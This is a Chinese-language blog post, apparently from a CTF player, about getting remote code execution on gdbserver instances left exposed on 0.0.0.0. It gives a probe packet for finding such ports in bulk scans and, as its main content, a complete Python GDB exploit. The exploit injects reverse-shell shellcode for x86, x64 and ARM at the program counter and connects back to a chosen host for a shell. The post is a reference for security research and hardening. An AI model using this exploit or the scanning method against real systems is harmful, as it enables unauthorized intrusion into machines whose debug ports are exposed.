Remote Code Execution through GDB Remote Debugging Protocol

在準備 DEFCON CTF 時額外想到的小玩具,很多人使用 GDB remote debugging 時為了方便遠端使用,會將 port 綁在 0.0.0.0 上使得攻擊者可以連接上做一些事情

至於可以做哪些事情,不來個遠端代碼執行就不好玩了XD

大部分的工作都基於 Turning arbitrary GDBserver sessions into RCE 這篇文章,修改部分則是加上 arm 及 x64 的支援以及把 code 改好看點….XD

比較 tricky 的部分則是 GDB 在 extended-remote 後,GDB 預設的處理器架構會是 i386,如果遠端的處理器架構非 x86 的架構下會失敗,所以必須用 set architecture 指定處理器架構

(原文章因為都在 x86 架構下所以沒這個問題XD)

但是在 run 之前無法知道所處的處理器架構所以變成一個很尷尬的狀態XD

另外一個有趣的是如何檢測掃描到的 port 是否為 GDB remote debugging protocol,送個

$?#3f

就可以判斷,接著就可以寫成 script 就可以批次掃描處理了XD

最後 PoC,在本機跑

gdbserver –remote-debug 0.0.0.0:31337 /bin/ls

配合下面 Exploit 就可以拿 shell XD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# coding: UTF-8
#
import sys
import gdb
import socket
import struct
import binascii

DEBUG = False

GDB_SERVER = ('127.0.0.1', 12345)

CONNECT_BACK_HOST = '127.0.0.1'
CONNECT_BACK_PORT = 31337

def _set_pair(sc):
ip = socket.inet_aton( CONNECT_BACK_HOST )
port = struct.pack('>H', CONNECT_BACK_PORT )
return binascii.unhexlify(sc).replace(b'\xff'*2, port).replace(b'\x00'*4, ip)


def reverse_shell_x86():
sc = '31c031db31c931d2b066b301516a066a016a0289e1cd8089c6b06631dbb30268' \
'000000006668ffff6653fec389e16a10515689e156cd805b31c9b103fec9b03f' \
'cd8075f831c052686e2f7368682f2f626989e3525389e15289e2b00bcd80'
return _set_pair(sc)

def reverse_shell_x64():
sc = '4831c04831ff4831f64831d24d31c06a025f6a015e6a065a6a29580f054989c0' \
'4831f64d31d24152c604240266c7442402ffffc7442404000000004889e66a10' \
'5a41505f6a2a580f054831f66a035e48ffce6a21580f0575f64831ff57575e5a' \
'48bf2f2f62696e2f736848c1ef0857545f6a3b580f05'
return _set_pair(sc)

def reverse_shell_arm():
sc = '01108fe211ff2fe102200121921a0f02193701df061c08a11022023701df3f27' \
'0221301c01df0139fbd505a0921a05b469460b2701dfc0460200ffff00000000' \
'2f62696e2f736800'
return _set_pair(sc)

def gdb_exec(cmd):
if DEBUG:
gdb.execute( cmd )
else:
gdb.execute( cmd, True, True )

if __name__ == '__main__':
gdb_exec('set confirm off')
gdb_exec('set verbose off')

ARCHS = {
'x86': reverse_shell_x86(),
'x64': reverse_shell_x64(),
'arm': reverse_shell_arm()
}

for arch, shellcode in ARCHS.items():
try:
if arch == 'arm':
gdb_exec('set architecture arm')
if arch == 'x86':
gdb_exec('set architecture i386')
if arch == 'x64':
gdb_exec('set architecture i386:x86-64')

gdb_exec('target extended-remote %s:%d' % GDB_SERVER)
bp = gdb.Breakpoint('*0', internal=True)

try:
gdb_exec('run')
except gdb.error as e:
pass

bp.delete()

for idx, ch in enumerate(shellcode):
ch = ord(ch)
if arch == 'arm':
gdb_exec('set *(unsigned char *)($pc + %d) = %d' % (idx, ch))
if arch == 'x86':
gdb_exec('set *(unsigned char *)($eip + %d) = %d' % (idx, ch))
if arch == 'x64':
gdb_exec('set *(unsigned char *)($rip + %d) = %d' % (idx, ch))

gdb_exec('continue')
gdb_exec('continue')
exit()

except gdb.error as e:
print( '##### not %s' % arch )